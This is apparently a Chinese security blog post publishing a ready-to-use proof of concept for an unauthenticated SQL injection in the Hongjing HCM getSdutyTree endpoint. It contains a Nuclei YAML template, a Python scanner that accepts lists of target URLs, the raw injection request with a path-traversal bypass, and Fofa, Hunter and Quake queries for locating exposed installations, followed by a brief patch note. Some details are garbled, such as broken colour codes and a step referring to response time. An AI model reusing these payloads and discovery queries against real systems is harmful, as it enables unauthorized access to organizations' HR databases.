POC（Yaml&Python）

话不多说先上POC（Yam-poc由yakit或ProjectDiscovery Cloud Platform生成，Python-poc脚本由chatgpt生成，准确性请自测，如您觉得有用，请动动小手点个关注，为您每天更新最新漏洞POC）

• 「Yaml」

id: hongjing-hcm-getSdutyTree-sqli

info:
name: 宏景HCM getSdutyTree SQL注入
author: god
severity: high
description: 宏景HCM getSdutyTree SQL注入

http:
- raw:
- |+
@timeout: 30s
GET /w_selfservice/oauthservlet/%2e./.%2e/servlet/sduty/getSdutyTree?param=child&target=1&codesetid=1&codeitemid=1%27+UNION+ALL+SELECT+NULL%2CCHAR%28113%29%2BCHAR%28120%29%2BCHAR%28106%29%2BCHAR%28112%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28119%29%2BCHAR%2885%29%2BCHAR%2873%29%2BCHAR%2887%29%2BCHAR%2899%29%2BCHAR%2875%29%2BCHAR%28116%29%2BCHAR%2872%29%2BCHAR%28113%29%2BCHAR%28104%29%2BCHAR%28107%29%2BCHAR%2889%29%2BCHAR%28115%29%2BCHAR%28108%29%2BCHAR%2873%29%2BCHAR%2884%29%2BCHAR%2869%29%2BCHAR%2873%29%2BCHAR%2875%29%2BCHAR%2883%29%2BCHAR%2898%29%2BCHAR%28116%29%2BCHAR%28120%29%2BCHAR%2889%29%2BCHAR%2884%29%2BCHAR%2882%29%2BCHAR%28120%29%2BCHAR%2884%29%2BCHAR%28116%29%2BCHAR%2888%29%2BCHAR%28112%29%2BCHAR%2887%29%2BCHAR%2873%29%2BCHAR%28109%29%2BCHAR%28104%29%2BCHAR%2887%29%2BCHAR%28102%29%2BCHAR%2897%29%2BCHAR%2877%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%28122%29%2BCHAR%28113%29%2CNULL%2CNULL--+Iprd HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_1, "qxjpqjwUIWcKtHqhkYslITEIKSbtxYTRxTtXpWImhWfaMqvjzq")'
condition: and

• 「Python」

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

RED = '�33[91m'
RESET = '�33[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
try:
# 构造完整的攻击URL
attack_url = url.rstrip('/') + "/w_selfservice/oauthservlet/%2e%2e/%2e%2e/servlet/sduty/getSdutyTree?param=child&target=1&codesetid=1&codeitemid=1%27+UNION+ALL+SELECT+NULL%2CCHAR%28113%29%2BCHAR%28120%29%2BCHAR%28106%29%2BCHAR%28112%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28119%29%2BCHAR%2885%29%2BCHAR%2873%29%2BCHAR%2887%29%2BCHAR%2899%29%2BCHAR%2875%29%2BCHAR%28116%29%2BCHAR%2872%29%2BCHAR%28113%29%2BCHAR%28104%29%2BCHAR%28107%29%2BCHAR%2889%29%2BCHAR%28115%29%2BCHAR%28108%29%2BCHAR%2873%29%2BCHAR%2884%29%2BCHAR%2869%29%2BCHAR%2873%29%2BCHAR%2875%29%2BCHAR%2883%29%2BCHAR%2898%29%2BCHAR%28116%29%2BCHAR%28120%29%2BCHAR%2889%29%2BCHAR%2884%29%2BCHAR%2882%29%2BCHAR%28120%29%2BCHAR%2884%29%2BCHAR%28116%29%2BCHAR%2888%29%2BCHAR%28112%29%2BCHAR%2887%29%2BCHAR%2873%29%2BCHAR%28109%29%2BCHAR%28104%29%2BCHAR%2887%29%2BCHAR%28102%29%2BCHAR%2897%29%2BCHAR%2877%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%28122%29%2BCHAR%28113%29%2CNULL%2CNULL--+Iprd"

response = requests.get(attack_url, verify=False, timeout=10)

if response.status_code == 200 and 'qxjpqjwUIWcKtHqhkYslITEIKSbtxYTRxTtXpWImhWfaMqvjzq' in response.text:
print(f"{RED}URL [{url}] 可能存在宏景HCM getSdutyTree SQL注入漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")

def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在宏景HCM getSdutyTree SQL注入漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

args = parser.parse_args()

if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)

if __name__ == '__main__':
main()

漏洞介绍

❝

宏景HCM人力资源信息管理系统是一款全面覆盖人力资源管理各模块的软件，旨在帮助企事业单位构建高绩效组织，推动组织健康成长，提升组织软实力。其getSdutyTree接口处对传入的数据没有预编译和充足的校验，导致该接口存在SQL注入漏洞，未授权的攻击者可获取数据库敏感信息。

❞

资产测绘

• 「Fofa」

❝

app="HJSOFT-HCM"

❞

• 「Hunter」

❝

app.name="宏景 HCM"

❞

• 「Quake」

❝

app: "宏景-HCM"

❞

漏洞复现

「1、构造数据包」

GET /w_selfservice/oauthservlet/%2e./.%2e/servlet/sduty/getSdutyTree?param=child&target=1&codesetid=1&codeitemid=1%27+UNION+ALL+SELECT+NULL%2CCHAR%28113%29%2BCHAR%28120%29%2BCHAR%28106%29%2BCHAR%28112%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28119%29%2BCHAR%2885%29%2BCHAR%2873%29%2BCHAR%2887%29%2BCHAR%2899%29%2BCHAR%2875%29%2BCHAR%28116%29%2BCHAR%2872%29%2BCHAR%28113%29%2BCHAR%28104%29%2BCHAR%28107%29%2BCHAR%2889%29%2BCHAR%28115%29%2BCHAR%28108%29%2BCHAR%2873%29%2BCHAR%2884%29%2BCHAR%2869%29%2BCHAR%2873%29%2BCHAR%2875%29%2BCHAR%2883%29%2BCHAR%2898%29%2BCHAR%28116%29%2BCHAR%28120%29%2BCHAR%2889%29%2BCHAR%2884%29%2BCHAR%2882%29%2BCHAR%28120%29%2BCHAR%2884%29%2BCHAR%28116%29%2BCHAR%2888%29%2BCHAR%28112%29%2BCHAR%2887%29%2BCHAR%2873%29%2BCHAR%28109%29%2BCHAR%28104%29%2BCHAR%2887%29%2BCHAR%28102%29%2BCHAR%2897%29%2BCHAR%2877%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%28122%29%2BCHAR%28113%29%2CNULL%2CNULL--+Iprd HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

「2、查看返回包响应时间」

修复方案

❝

• 官方已发布安全补丁，建议联系厂商打补丁或升级版本。
• 引入Web应用防火墙防护，配置接口拦截策略。

❞